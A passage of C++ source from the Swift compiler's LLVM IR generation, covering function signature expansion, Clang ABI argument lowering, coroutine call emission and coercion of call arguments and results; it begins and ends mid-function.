auto &FI = clang::CodeGen::arrangeFreeFunctionCall(IGM.ClangCodeGen->CGM(),
clangResultTy, paramTys, extInfo,
clang::CodeGen::RequiredArgs::All);
ForeignInfo.ClangInfo = &FI;
assert(FI.arg_size() == paramTys.size() &&
"Expected one ArgInfo for each parameter type!");
auto &returnInfo = FI.getReturnInfo();
// Does the result need an extension attribute?
if (returnInfo.isExtend()) {
bool signExt = clangResultTy->hasSignedIntegerRepresentation();
assert((signExt || clangResultTy->hasUnsignedIntegerRepresentation()) &&
"Invalid attempt to add extension attribute to argument!");
addExtendAttribute(IGM, Attrs, llvm::AttributeList::ReturnIndex, signExt);
}
// If we return indirectly, that is the first parameter type.
if (returnInfo.isIndirect()) {
addIndirectResult();
}
size_t firstParamToLowerNormally = 0;
// Use a special IR type for passing block pointers.
if (FnType->getRepresentation() == SILFunctionTypeRepresentation::Block) {
assert(FI.arg_begin()[0].info.isDirect() &&
"block pointer not passed directly?");
ParamIRTypes.push_back(IGM.ObjCBlockPtrTy);
firstParamToLowerNormally = 1;
}
for (auto i : indices(paramTys).slice(firstParamToLowerNormally)) {
auto &AI = FI.arg_begin()[i].info;
// Add a padding argument if required.
if (auto *padType = AI.getPaddingType())
ParamIRTypes.push_back(padType);
switch (AI.getKind()) {
case clang::CodeGen::ABIArgInfo::Extend: {
bool signExt = paramTys[i]->hasSignedIntegerRepresentation();
assert((signExt || paramTys[i]->hasUnsignedIntegerRepresentation()) &&
"Invalid attempt to add extension attribute to argument!");
addExtendAttribute(IGM, Attrs, getCurParamIndex() +
llvm::AttributeList::FirstArgIndex, signExt);
LLVM_FALLTHROUGH;
}
case clang::CodeGen::ABIArgInfo::Direct: {
switch (FI.getExtParameterInfo(i).getABI()) {
case clang::ParameterABI::Ordinary:
break;
case clang::ParameterABI::SwiftContext:
IGM.addSwiftSelfAttributes(Attrs, getCurParamIndex());
break;
case clang::ParameterABI::SwiftErrorResult:
IGM.addSwiftErrorAttributes(Attrs, getCurParamIndex());
break;
case clang::ParameterABI::SwiftIndirectResult:
addIndirectResultAttributes(IGM, Attrs, getCurParamIndex(),claimSRet());
break;
}
// If the coercion type is a struct which can be flattened, we need to
// expand it.
auto *coercedTy = AI.getCoerceToType();
if (AI.isDirect() && AI.getCanBeFlattened() &&
isa<llvm::StructType>(coercedTy)) {
const auto *ST = cast<llvm::StructType>(coercedTy);
for (unsigned EI : range(ST->getNumElements()))
ParamIRTypes.push_back(ST->getElementType(EI));
} else {
ParamIRTypes.push_back(coercedTy);
}
break;
}
case clang::CodeGen::ABIArgInfo::CoerceAndExpand: {
auto types = AI.getCoerceAndExpandTypeSequence();
ParamIRTypes.append(types.begin(), types.end());
break;
}
case clang::CodeGen::ABIArgInfo::Indirect: {
assert(i >= clangToSwiftParamOffset &&
"Unexpected index for indirect byval argument");
auto ¶m = params[i - clangToSwiftParamOffset];
auto paramTy = getSILFuncConventions().getSILType(param);
auto ¶mTI = cast<FixedTypeInfo>(IGM.getTypeInfo(paramTy));
if (AI.getIndirectByVal())
addByvalArgumentAttributes(
IGM, Attrs, getCurParamIndex(),
Alignment(AI.getIndirectAlign().getQuantity()));
addPointerParameter(paramTI.getStorageType());
break;
}
case clang::CodeGen::ABIArgInfo::Expand:
ClangExpandTypeCollector(IGM, ParamIRTypes).visit(paramTys[i]);
break;
case clang::CodeGen::ABIArgInfo::Ignore:
break;
case clang::CodeGen::ABIArgInfo::InAlloca:
llvm_unreachable("Need to handle InAlloca during signature expansion");
}
}
if (returnInfo.isIndirect() || returnInfo.isIgnore()) {
ResultIRType = IGM.VoidTy;
} else {
ResultIRType = returnInfo.getCoerceToType();
}
}
static ArrayRef<llvm::Type *> expandScalarOrStructTypeToArray(llvm::Type *&ty) {
ArrayRef<llvm::Type*> expandedTys;
if (auto expansionTy = dyn_cast<llvm::StructType>(ty)) {
// Is there any good reason this isn't public API of llvm::StructType?
expandedTys = makeArrayRef(expansionTy->element_begin(),
expansionTy->getNumElements());
} else {
expandedTys = ty;
}
return expandedTys;
}
void SignatureExpansion::expand(SILParameterInfo param) {
auto paramSILType = getSILFuncConventions().getSILType(param);
auto &ti = IGM.getTypeInfo(paramSILType);
switch (auto conv = param.getConvention()) {
case ParameterConvention::Indirect_In:
case ParameterConvention::Indirect_In_Constant:
case ParameterConvention::Indirect_In_Guaranteed:
addIndirectValueParameterAttributes(IGM, Attrs, ti, ParamIRTypes.size());
addPointerParameter(
IGM.getStorageType(getSILFuncConventions().getSILType(param)));
return;
case ParameterConvention::Indirect_Inout:
case ParameterConvention::Indirect_InoutAliasable:
addInoutParameterAttributes(IGM, Attrs, ti, ParamIRTypes.size(),
conv == ParameterConvention::Indirect_InoutAliasable);
addPointerParameter(
IGM.getStorageType(getSILFuncConventions().getSILType(param)));
return;
case ParameterConvention::Direct_Owned:
case ParameterConvention::Direct_Unowned:
case ParameterConvention::Direct_Guaranteed:
switch (FnType->getLanguage()) {
case SILFunctionLanguage::C: {
llvm_unreachable("Unexpected C/ObjC method in parameter expansion!");
return;
}
case SILFunctionLanguage::Swift: {
auto &nativeSchema = ti.nativeParameterValueSchema(IGM);
if (nativeSchema.requiresIndirect()) {
addIndirectValueParameterAttributes(IGM, Attrs, ti,
ParamIRTypes.size());
ParamIRTypes.push_back(ti.getStorageType()->getPointerTo());
return;
}
if (nativeSchema.empty()) {
assert(ti.getSchema().empty());
return;
}
auto expandedTy = nativeSchema.getExpandedType(IGM);
auto expandedTysArray = expandScalarOrStructTypeToArray(expandedTy);
for (auto *Ty : expandedTysArray)
ParamIRTypes.push_back(Ty);
return;
}
}
llvm_unreachable("bad abstract CC");
}
llvm_unreachable("bad parameter convention");
}
/// Does the given function type have a self parameter that should be
/// given the special treatment for self parameters?
///
/// It's important that this only return true for things that are
/// passed as a single pointer.
bool irgen::hasSelfContextParameter(CanSILFunctionType fnType) {
if (!fnType->hasSelfParam())
return false;
SILParameterInfo param = fnType->getSelfParameter();
// All the indirect conventions pass a single pointer.
if (param.isFormalIndirect()) {
return true;
}
// Direct conventions depend on the type.
CanType type = param.getType();
// Thick or @objc metatypes (but not existential metatypes).
if (auto metatype = dyn_cast<MetatypeType>(type)) {
return metatype->getRepresentation() != MetatypeRepresentation::Thin;
}
// Classes and class-bounded archetypes or ObjC existentials.
// No need to apply this to existentials.
// The direct check for SubstitutableType works because only
// class-bounded generic types can be passed directly.
if (type->mayHaveSuperclass() || isa<SubstitutableType>(type) ||
type->isObjCExistentialType()) {
return true;
}
return false;
}
/// Expand the abstract parameters of a SIL function type into the physical
/// parameters of an LLVM function type (results have already been expanded).
void SignatureExpansion::expandParameters() {
assert(FnType->getRepresentation() != SILFunctionTypeRepresentation::Block
&& "block with non-C calling conv?!");
// First, if this is a coroutine, add the coroutine-context parameter.
switch (FnType->getCoroutineKind()) {
case SILCoroutineKind::None:
break;
case SILCoroutineKind::YieldOnce:
case SILCoroutineKind::YieldMany:
addCoroutineContextParameter();
break;
}
// Next, the formal parameters. But 'self' is treated as the
// context if it has pointer representation.
auto params = FnType->getParameters();
bool hasSelfContext = false;
if (hasSelfContextParameter(FnType)) {
hasSelfContext = true;
params = params.drop_back();
}
for (auto param : params) {
expand(param);
}
// Next, the generic signature.
if (hasPolymorphicParameters(FnType))
expandPolymorphicSignature(IGM, FnType, ParamIRTypes);
// Context is next.
if (hasSelfContext) {
auto curLength = ParamIRTypes.size(); (void) curLength;
if (claimSelf())
IGM.addSwiftSelfAttributes(Attrs, curLength);
expand(FnType->getSelfParameter());
assert(ParamIRTypes.size() == curLength + 1 &&
"adding 'self' added unexpected number of parameters");
} else {
auto needsContext = [=]() -> bool {
switch (FnType->getRepresentation()) {
case SILFunctionType::Representation::Block:
llvm_unreachable("adding block parameter in Swift CC expansion?");
// Always leave space for a context argument if we have an error result.
case SILFunctionType::Representation::CFunctionPointer:
case SILFunctionType::Representation::Method:
case SILFunctionType::Representation::WitnessMethod:
case SILFunctionType::Representation::ObjCMethod:
case SILFunctionType::Representation::Thin:
case SILFunctionType::Representation::Closure:
return FnType->hasErrorResult();
case SILFunctionType::Representation::Thick:
return true;
}
llvm_unreachable("bad representation kind");
};
if (needsContext()) {
if (claimSelf())
IGM.addSwiftSelfAttributes(Attrs, ParamIRTypes.size());
ParamIRTypes.push_back(IGM.RefCountedPtrTy);
}
}
// Error results are last. We always pass them as a pointer to the
// formal error type; LLVM will magically turn this into a non-pointer
// if we set the right attribute.
if (FnType->hasErrorResult()) {
if (claimError())
IGM.addSwiftErrorAttributes(Attrs, ParamIRTypes.size());
llvm::Type *errorType = IGM.getStorageType(
getSILFuncConventions().getSILType(FnType->getErrorResult()));
ParamIRTypes.push_back(errorType->getPointerTo());
}
// Witness methods have some extra parameter types.
if (FnType->getRepresentation() ==
SILFunctionTypeRepresentation::WitnessMethod) {
expandTrailingWitnessSignature(IGM, FnType, ParamIRTypes);
}
}
/// Expand the result and parameter types of a SIL function into the
/// physical parameter types of an LLVM function and return the result
/// type.
void SignatureExpansion::expandFunctionType() {
switch (FnType->getLanguage()) {
case SILFunctionLanguage::Swift: {
expandResult();
expandParameters();
return;
}
case SILFunctionLanguage::C:
expandExternalSignatureTypes();
return;
}
llvm_unreachable("bad abstract calling convention");
}
void SignatureExpansion::expandCoroutineContinuationType() {
expandCoroutineResult(/*for continuation*/ true);
expandCoroutineContinuationParameters();
}
Signature SignatureExpansion::getSignature() {
// Create the appropriate LLVM type.
llvm::FunctionType *llvmType =
llvm::FunctionType::get(ResultIRType, ParamIRTypes, /*variadic*/ false);
assert((ForeignInfo.ClangInfo != nullptr) ==
(FnType->getLanguage() == SILFunctionLanguage::C) &&
"C function type without C function info");
auto callingConv = expandCallingConv(IGM, FnType->getRepresentation());
Signature result;
result.Type = llvmType;
result.CallingConv = callingConv;
result.Attributes = Attrs;
using ExtraData = Signature::ExtraData;
if (FnType->getLanguage() == SILFunctionLanguage::C) {
result.ExtraDataKind = ExtraData::kindForMember<ForeignFunctionInfo>();
result.ExtraDataStorage.emplace<ForeignFunctionInfo>(result.ExtraDataKind,
ForeignInfo);
} else if (FnType->isCoroutine()) {
result.ExtraDataKind = ExtraData::kindForMember<CoroutineInfo>();
result.ExtraDataStorage.emplace<CoroutineInfo>(result.ExtraDataKind,
CoroInfo);
} else {
result.ExtraDataKind = ExtraData::kindForMember<void>();
}
return result;
}
Signature Signature::getUncached(IRGenModule &IGM,
CanSILFunctionType formalType) {
GenericContextScope scope(IGM, formalType->getGenericSignature());
SignatureExpansion expansion(IGM, formalType);
expansion.expandFunctionType();
return expansion.getSignature();
}
Signature Signature::forCoroutineContinuation(IRGenModule &IGM,
CanSILFunctionType fnType) {
assert(fnType->isCoroutine());
SignatureExpansion expansion(IGM, fnType);
expansion.expandCoroutineContinuationType();
return expansion.getSignature();
}
void irgen::extractScalarResults(IRGenFunction &IGF, llvm::Type *bodyType,
llvm::Value *call, Explosion &out) {
assert(!bodyType->isVoidTy() && "Unexpected void result type!");
auto *returned = call;
auto *callType = call->getType();
// If the type of the result of the call differs from the type used
// elsewhere in the caller due to ABI type coercion, we need to
// coerce the result back from the ABI type before extracting the
// elements.
if (bodyType != callType)
returned = IGF.coerceValue(returned, bodyType, IGF.IGM.DataLayout);
if (auto *structType = dyn_cast<llvm::StructType>(bodyType))
for (unsigned i = 0, e = structType->getNumElements(); i != e; ++i)
out.add(IGF.Builder.CreateExtractValue(returned, i));
else
out.add(returned);
}
/// Emit the unsubstituted result of this call into the given explosion.
/// The unsubstituted result must be naturally returned directly.
void CallEmission::emitToUnmappedExplosion(Explosion &out) {
assert(LastArgWritten == 0 && "emitting unnaturally to explosion");
auto call = emitCallSite();
// Bail out immediately on a void result.
llvm::Value *result = call.getInstruction();
if (result->getType()->isVoidTy())
return;
SILFunctionConventions fnConv(getCallee().getOrigFunctionType(),
IGF.getSILModule());
// If the result was returned autoreleased, implicitly insert the reclaim.
// This is only allowed on a single direct result.
if (fnConv.getNumDirectSILResults() == 1
&& (fnConv.getDirectSILResults().begin()->getConvention()
== ResultConvention::Autoreleased)) {
result = emitObjCRetainAutoreleasedReturnValue(IGF, result);
}
// Get the natural IR type in the body of the function that makes
// the call. This may be different than the IR type returned by the
// call itself due to ABI type coercion.
auto resultType = fnConv.getSILResultType();
auto &nativeSchema = IGF.IGM.getTypeInfo(resultType).nativeReturnValueSchema(IGF.IGM);
// For ABI reasons the result type of the call might not actually match the
// expected result type.
auto expectedNativeResultType = nativeSchema.getExpandedType(IGF.IGM);
if (result->getType() != expectedNativeResultType) {
// This should only be needed when we call C functions.
assert(getCallee().getOrigFunctionType()->getLanguage() ==
SILFunctionLanguage::C);
result =
IGF.coerceValue(result, expectedNativeResultType, IGF.IGM.DataLayout);
}
// Gather the values.
Explosion nativeExplosion;
extractScalarResults(IGF, result->getType(), result, nativeExplosion);
out = nativeSchema.mapFromNative(IGF.IGM, IGF, nativeExplosion, resultType);
}
/// Emit the unsubstituted result of this call to the given address.
/// The unsubstituted result must be naturally returned indirectly.
void CallEmission::emitToUnmappedMemory(Address result) {
assert(LastArgWritten == 1 && "emitting unnaturally to indirect result");
Args[0] = result.getAddress();
SILFunctionConventions FnConv(CurCallee.getSubstFunctionType(),
IGF.getSILModule());
addIndirectResultAttributes(IGF.IGM, CurCallee.getMutableAttributes(),
0, FnConv.getNumIndirectSILResults() <= 1);
#ifndef NDEBUG
LastArgWritten = 0; // appease an assert
#endif
emitCallSite();
}
/// The private routine to ultimately emit a call or invoke instruction.
llvm::CallSite CallEmission::emitCallSite() {
assert(LastArgWritten == 0);
assert(!EmittedCall);
EmittedCall = true;
// Make the call and clear the arguments array.
const auto &fn = getCallee().getFunctionPointer();
auto fnTy = fn.getFunctionType();
// Coerce argument types for those cases where the IR type required
// by the ABI differs from the type used within the function body.
assert(fnTy->getNumParams() == Args.size());
for (int i = 0, e = fnTy->getNumParams(); i != e; ++i) {
auto *paramTy = fnTy->getParamType(i);
auto *argTy = Args[i]->getType();
if (paramTy != argTy)
Args[i] = IGF.coerceValue(Args[i], paramTy, IGF.IGM.DataLayout);
}
// TODO: exceptions!
auto call = IGF.Builder.CreateCall(fn, Args);
// Make coroutines calls opaque to LLVM analysis.
if (IsCoroutine) {
// Go back and insert some instructions right before the call.
// It's easier to do this than to mess around with copying and
// modifying the FunctionPointer above.
IGF.Builder.SetInsertPoint(call);
// Insert a call to @llvm.coro.prepare.retcon, then bitcast to the right
// function type.
auto origCallee = call->getCalledValue();
llvm::Value *opaqueCallee = origCallee;
opaqueCallee =
IGF.Builder.CreateBitCast(opaqueCallee, IGF.IGM.Int8PtrTy);
opaqueCallee =
IGF.Builder.CreateIntrinsicCall(llvm::Intrinsic::ID::coro_prepare_retcon,
{ opaqueCallee });
opaqueCallee =
IGF.Builder.CreateBitCast(opaqueCallee, origCallee->getType());
call->setCalledFunction(opaqueCallee);
// Reset the insert point to after the call.
IGF.Builder.SetInsertPoint(call->getParent());
}
Args.clear();
// Destroy any temporaries we needed.
// We don't do this for coroutines because we need to wait until the
// coroutine is complete.
if (!IsCoroutine) {
Temporaries.destroyAll(IGF);
// Clear the temporary set so that we can assert that there are no
// temporaries later.
Temporaries.clear();
}
// Return.
return call;
}
llvm::CallInst *IRBuilder::CreateCall(const FunctionPointer &fn,
ArrayRef<llvm::Value*> args) {
assert(!isTrapIntrinsic(fn.getPointer()) && "Use CreateNonMergeableTrap");
llvm::CallInst *call = IRBuilderBase::CreateCall(fn.getPointer(), args);
call->setAttributes(fn.getAttributes());
call->setCallingConv(fn.getCallingConv());
return call;
}
/// Emit the result of this call to memory.
void CallEmission::emitToMemory(Address addr,
const LoadableTypeInfo &indirectedResultTI,
bool isOutlined) {
assert(LastArgWritten <= 1);
// If the call is naturally to an explosion, emit it that way and
// then initialize the temporary.
if (LastArgWritten == 0) {
Explosion result;
emitToExplosion(result, isOutlined);
indirectedResultTI.initialize(IGF, result, addr, isOutlined);
return;
}
// Okay, we're naturally emitting to memory.
Address origAddr = addr;
auto origFnType = CurCallee.getOrigFunctionType();
auto substFnType = CurCallee.getSubstFunctionType();
// We're never being asked to do anything with *formal*
// indirect results here, just the possibility of a direct-in-SIL
// result that's actually being passed indirectly.
//
// TODO: SIL address lowering should be able to handle such cases earlier.
CanType origResultType =
origFnType->getDirectFormalResultsType().getSwiftRValueType();
CanType substResultType =
substFnType->getDirectFormalResultsType().getSwiftRValueType();
if (origResultType->hasTypeParameter())
origResultType = IGF.IGM.getGenericEnvironment()
->mapTypeIntoContext(origResultType)
->getCanonicalType();
if (origResultType != substResultType) {
auto origTy = IGF.IGM.getStoragePointerTypeForLowered(origResultType);
origAddr = IGF.Builder.CreateBitCast(origAddr, origTy);
}
emitToUnmappedMemory(origAddr);
}
static void emitCastToSubstSchema(IRGenFunction &IGF, Explosion &in,
const ExplosionSchema &schema,
Explosion &out) {
assert(in.size() == schema.size());
for (unsigned i = 0, e = schema.size(); i != e; ++i) {
llvm::Type *expectedType = schema.begin()[i].getScalarType();
llvm::Value *value = in.claimNext();
if (value->getType() != expectedType)
value = IGF.Builder.CreateBitCast(value, expectedType,
value->getName() + ".asSubstituted");
out.add(value);
}
}
void CallEmission::emitYieldsToExplosion(Explosion &out) {
// Emit the call site.
auto call = emitCallSite();
// Pull the raw return values out.
Explosion rawReturnValues;
extractScalarResults(IGF, call->getType(), call.getInstruction(),
rawReturnValues);
auto coroInfo = getCallee().getSignature().getCoroutineInfo();
// Go ahead and forward the continuation pointer as an opaque pointer.
auto continuation = rawReturnValues.claimNext();
out.add(continuation);
// Collect the raw value components.
Explosion rawYieldComponents;
// Add all the direct yield components.
rawYieldComponents.add(
rawReturnValues.claim(coroInfo.NumDirectYieldComponents));
// Add all the indirect yield components.
assert(rawReturnValues.size() <= 1);
if (!rawReturnValues.empty()) {
// Extract the indirect yield buffer.
auto indirectPointer = rawReturnValues.claimNext();
auto indirectStructTy = cast<llvm::StructType>(
indirectPointer->getType()->getPointerElementType());
auto layout = IGF.IGM.DataLayout.getStructLayout(indirectStructTy);
Address indirectBuffer(indirectPointer, Alignment(layout->getAlignment()));
for (auto i : indices(indirectStructTy->elements())) {
// Skip padding.
if (indirectStructTy->getElementType(i)->isArrayTy())
continue;
auto eltAddr = IGF.Builder.CreateStructGEP(indirectBuffer, i, layout);
rawYieldComponents.add(IGF.Builder.CreateLoad(eltAddr));
}
}
auto substCoroType = getCallee().getSubstFunctionType();
SILFunctionConventions fnConv(substCoroType, IGF.getSILModule());
for (auto yield : fnConv.getYields()) {
YieldSchema schema(IGF.IGM, fnConv, yield);
// If the schema says it's indirect, then we expect a pointer.
if (schema.isIndirect()) {
auto pointer = IGF.Builder.CreateBitCast(rawYieldComponents.claimNext(),
schema.getIndirectPointerType());
// If it's formally indirect, then we should just add that pointer
// to the output.
if (schema.isFormalIndirect()) {
out.add(pointer);
continue;
}
// Otherwise, we need to load.
auto &yieldTI = cast<LoadableTypeInfo>(schema.getTypeInfo());
yieldTI.loadAsTake(IGF, yieldTI.getAddressForPointer(pointer), out);
continue;
}
// Otherwise, it's direct. Remap.
auto temp = schema.getDirectSchema().mapFromNative(IGF.IGM, IGF,
rawYieldComponents,
schema.getSILType());
auto &yieldTI = cast<LoadableTypeInfo>(schema.getTypeInfo());
emitCastToSubstSchema(IGF, temp, yieldTI.getSchema(), out);
}
}
/// Emit the result of this call to an explosion.
void CallEmission::emitToExplosion(Explosion &out, bool isOutlined) {
assert(LastArgWritten <= 1);
// For coroutine calls, we need to collect the yields, not the results;
// this looks very different.
if (IsCoroutine) {
assert(LastArgWritten == 0 && "coroutine with indirect result?");
emitYieldsToExplosion(out);
return;
}
SILFunctionConventions fnConv(getCallee().getSubstFunctionType(),
IGF.getSILModule());
SILType substResultType = fnConv.getSILResultType();
auto &substResultTI =
cast<LoadableTypeInfo>(IGF.getTypeInfo(substResultType));
// If the call is naturally to memory, emit it that way and then
// explode that temporary.
if (LastArgWritten == 1) {
StackAddress ctemp = substResultTI.allocateStack(IGF, substResultType,
"call.aggresult");
Address temp = ctemp.getAddress();
emitToMemory(temp, substResultTI, isOutlined);
// We can use a take.
substResultTI.loadAsTake(IGF, temp, out);
substResultTI.deallocateStack(IGF, ctemp, substResultType);
return;
}
// Okay, we're naturally emitting to an explosion.
Explosion temp;
emitToUnmappedExplosion(temp);
// We might need to bitcast the results.
emitCastToSubstSchema(IGF, temp, substResultTI.getSchema(), out);
}
CallEmission::CallEmission(CallEmission &&other)
: IGF(other.IGF),
Args(std::move(other.Args)),
CurCallee(std::move(other.CurCallee)),
LastArgWritten(other.LastArgWritten),
EmittedCall(other.EmittedCall) {
// Prevent other's destructor from asserting.
LastArgWritten = 0;
EmittedCall = true;
}
CallEmission::~CallEmission() {
assert(LastArgWritten == 0);
assert(EmittedCall);
assert(Temporaries.hasBeenCleared());
}
Callee::Callee(CalleeInfo &&info, const FunctionPointer &fn,
llvm::Value *firstData, llvm::Value *secondData)
: Info(std::move(info)), Fn(fn),
FirstData(firstData), SecondData(secondData) {
#ifndef NDEBUG
// We should have foreign info if it's a foreign call.
assert((Fn.getForeignInfo().ClangInfo != nullptr) ==
(Info.OrigFnType->getLanguage() == SILFunctionLanguage::C));
// We should have the right data values for the representation.
switch (Info.OrigFnType->getRepresentation()) {
case SILFunctionTypeRepresentation::ObjCMethod:
assert(FirstData && SecondData);
break;
case SILFunctionTypeRepresentation::Method:
case SILFunctionTypeRepresentation::WitnessMethod:
assert((FirstData != nullptr) == hasSelfContextParameter(Info.OrigFnType));
assert(!SecondData);
break;
case SILFunctionTypeRepresentation::Thick:
case SILFunctionTypeRepresentation::Block:
assert(FirstData && !SecondData);
break;
case SILFunctionTypeRepresentation::Thin:
case SILFunctionTypeRepresentation::Closure:
case SILFunctionTypeRepresentation::CFunctionPointer:
assert(!FirstData && !SecondData);
break;
}
#endif
}
llvm::Value *Callee::getSwiftContext() const {
switch (Info.OrigFnType->getRepresentation()) {
case SILFunctionTypeRepresentation::Block:
case SILFunctionTypeRepresentation::ObjCMethod:
case SILFunctionTypeRepresentation::CFunctionPointer:
case SILFunctionTypeRepresentation::Thin:
case SILFunctionTypeRepresentation::Closure:
return nullptr;
case SILFunctionTypeRepresentation::WitnessMethod:
case SILFunctionTypeRepresentation::Method:
// This may or may not be null.
return FirstData;
case SILFunctionTypeRepresentation::Thick:
assert(FirstData && "no context value set on callee");
return FirstData;
}
llvm_unreachable("bad representation");
}
llvm::Value *Callee::getBlockObject() const {
assert(Info.OrigFnType->getRepresentation() ==
SILFunctionTypeRepresentation::Block &&
"not a block");
assert(FirstData && "no block object set on callee");
return FirstData;
}
llvm::Value *Callee::getObjCMethodReceiver() const {
assert(Info.OrigFnType->getRepresentation() ==
SILFunctionTypeRepresentation::ObjCMethod &&
"not a method");
assert(FirstData && "no receiver set on callee");
return FirstData;
}
llvm::Value *Callee::getObjCMethodSelector() const {
assert(Info.OrigFnType->getRepresentation() ==
SILFunctionTypeRepresentation::ObjCMethod &&
"not a method");
assert(SecondData && "no selector set on callee");
return SecondData;
}
/// Set up this emitter afresh from the current callee specs.
void CallEmission::setFromCallee() {
IsCoroutine = CurCallee.getSubstFunctionType()->isCoroutine();
EmittedCall = false;
unsigned numArgs = CurCallee.getLLVMFunctionType()->getNumParams();
// Set up the args array.
assert(Args.empty());
Args.reserve(numArgs);
Args.set_size(numArgs);
LastArgWritten = numArgs;
auto fnType = CurCallee.getOrigFunctionType();
if (fnType->getRepresentation()
== SILFunctionTypeRepresentation::WitnessMethod) {
unsigned n = getTrailingWitnessSignatureLength(IGF.IGM, fnType);
while (n--) {
Args[--LastArgWritten] = nullptr;
}
}
llvm::Value *contextPtr = CurCallee.getSwiftContext();
// Add the error result if we have one.
if (fnType->hasErrorResult()) {
// The invariant is that this is always zero-initialized, so we
// don't need to do anything extra here.
SILFunctionConventions fnConv(fnType, IGF.getSILModule());
Address errorResultSlot = IGF.getErrorResultSlot(fnConv.getSILErrorType());
assert(LastArgWritten > 0);
Args[--LastArgWritten] = errorResultSlot.getAddress();
addAttribute(LastArgWritten + llvm::AttributeList::FirstArgIndex,
llvm::Attribute::NoCapture);
IGF.IGM.addSwiftErrorAttributes(CurCallee.getMutableAttributes(),
LastArgWritten);
// Fill in the context pointer if necessary.
if (!contextPtr) {
assert(!CurCallee.getOrigFunctionType()->isNoEscape() &&
"Missing context?");
contextPtr = llvm::UndefValue::get(IGF.IGM.RefCountedPtrTy);
}
}
// Add the data pointer if we have one.
// (Note that we're emitting backwards, so this correctly goes
// *before* the error pointer.)
if (contextPtr) {
assert(LastArgWritten > 0);
Args[--LastArgWritten] = contextPtr;
IGF.IGM.addSwiftSelfAttributes(CurCallee.getMutableAttributes(),
LastArgWritten);
}
}
bool irgen::canCoerceToSchema(IRGenModule &IGM,
ArrayRef<llvm::Type*> expandedTys,
const ExplosionSchema &schema) {
// If the schemas don't even match in number, we have to go
// through memory.
if (expandedTys.size() != schema.size())
return false;
// If there's just one element, we can always coerce as a scalar.
if (expandedTys.size() == 1) return true;
// If there are multiple elements, the pairs of types need to
// match in size for the coercion to work.
for (size_t i = 0, e = expandedTys.size(); i != e; ++i) {
llvm::Type *inputTy = schema[i].getScalarType();
llvm::Type *outputTy = expandedTys[i];
if (inputTy != outputTy &&
IGM.DataLayout.getTypeSizeInBits(inputTy) !=
IGM.DataLayout.getTypeSizeInBits(outputTy))
return false;
}
// Okay, everything is fine.
return true;
}
static llvm::Type *getOutputType(TranslationDirection direction, unsigned index,
const ExplosionSchema &nativeSchema,
ArrayRef<llvm::Type*> expandedForeignTys) {
assert(nativeSchema.size() == expandedForeignTys.size());
return (direction == TranslationDirection::ToForeign
? expandedForeignTys[index]
: nativeSchema[index].getScalarType());
}
static void emitCoerceAndExpand(IRGenFunction &IGF, Explosion &in,
Explosion &out, SILType paramTy,
const LoadableTypeInfo ¶mTI,
llvm::StructType *coercionTy,
ArrayRef<llvm::Type *> expandedTys,
TranslationDirection direction,
bool isOutlined) {
// If we can directly coerce the scalar values, avoid going through memory.
auto schema = paramTI.getSchema();
if (canCoerceToSchema(IGF.IGM, expandedTys, schema)) {
for (auto index : indices(expandedTys)) {
llvm::Value *arg = in.claimNext();
assert(arg->getType() ==
getOutputType(reverse(direction), index, schema, expandedTys));
auto outputTy = getOutputType(direction, index, schema, expandedTys);
if (arg->getType() != outputTy)
arg = IGF.coerceValue(arg, outputTy, IGF.IGM.DataLayout);
out.add(arg);
}
return;
}
// Otherwise, materialize to a temporary.
auto temporaryAlloc =
paramTI.allocateStack(IGF, paramTy, "coerce-and-expand.temp");
Address temporary = temporaryAlloc.getAddress();
auto coercionTyLayout = IGF.IGM.DataLayout.getStructLayout(coercionTy);
// Make the alloca at least as aligned as the coercion struct, just
// so that the element accesses we make don't end up under-aligned.
Alignment coercionTyAlignment = Alignment(coercionTyLayout->getAlignment());
auto alloca = cast<llvm::AllocaInst>(temporary.getAddress());
if (alloca->getAlignment() < coercionTyAlignment.getValue()) {
alloca->setAlignment(coercionTyAlignment.getValue());
temporary = Address(temporary.getAddress(), coercionTyAlignment);
}
// If we're translating *to* the foreign expansion, do an ordinary
// initialization from the input explosion.
if (direction == TranslationDirection::ToForeign) {
paramTI.initialize(IGF, in, temporary, isOutlined);
}
Address coercedTemporary =
IGF.Builder.CreateElementBitCast(temporary, coercionTy);
#ifndef NDEBUG
size_t expandedTyIndex = 0;
#endif
for (auto eltIndex : indices(coercionTy->elements())) {
auto eltTy = coercionTy->getElementType(eltIndex);
// Skip padding fields.
if (eltTy->isArrayTy()) continue;
assert(expandedTys[expandedTyIndex++] == eltTy);
// Project down to the field.
Address eltAddr =
IGF.Builder.CreateStructGEP(coercedTemporary, eltIndex, coercionTyLayout);
// If we're translating *to* the foreign expansion, pull the value out
// of the field and add it to the output.
if (direction == TranslationDirection::ToForeign) {
llvm::Value *value = IGF.Builder.CreateLoad(eltAddr);
out.add(value);
// Otherwise, claim the next value from the input and store that
// in the field.
} else {
llvm::Value *value = in.claimNext();
IGF.Builder.CreateStore(value, eltAddr);
}
}
assert(expandedTyIndex == expandedTys.size());
// If we're translating *from* the foreign expansion, do an ordinary
// load into the output explosion.
if (direction == TranslationDirection::ToNative) {
paramTI.loadAsTake(IGF, temporary, out);
}
paramTI.deallocateStack(IGF, temporaryAlloc, paramTy);
}
static void emitDirectExternalArgument(IRGenFunction &IGF, SILType argType,
const clang::CodeGen::ABIArgInfo &AI,
Explosion &in, Explosion &out,
bool isOutlined) {
bool IsDirectFlattened = AI.isDirect() && AI.getCanBeFlattened();
bool IsIndirect = !AI.isDirect();
// If we're supposed to pass directly as a struct type, that
// really means expanding out as multiple arguments.
llvm::Type *coercedTy = AI.getCoerceToType();
ArrayRef<llvm::Type *> expandedTys =
expandScalarOrStructTypeToArray(coercedTy);
auto &argTI = cast<LoadableTypeInfo>(IGF.getTypeInfo(argType));
auto inputSchema = argTI.getSchema();
// Check to see if we can pairwise coerce Swift's exploded scalars
// to Clang's expanded elements.
if ((IsDirectFlattened || IsIndirect) &&
canCoerceToSchema(IGF.IGM, expandedTys, inputSchema)) {
for (auto outputTy : expandedTys) {
llvm::Value *arg = in.claimNext();
if (arg->getType() != outputTy)
arg = IGF.coerceValue(arg, outputTy, IGF.IGM.DataLayout);
out.add(arg);
}
return;
}
// Otherwise, we need to coerce through memory.
Address temporary;
Size tempSize;
std::tie(temporary, tempSize) =
allocateForCoercion(IGF, argTI.getStorageType(), coercedTy, "coerced-arg");
IGF.Builder.CreateLifetimeStart(temporary, tempSize);
// Store to a temporary.
Address tempOfArgTy = IGF.Builder.CreateBitCast(
temporary, argTI.getStorageType()->getPointerTo());
argTI.initializeFromParams(IGF, in, tempOfArgTy, argType, isOutlined);
// Bitcast the temporary to the expected type.
Address coercedAddr =
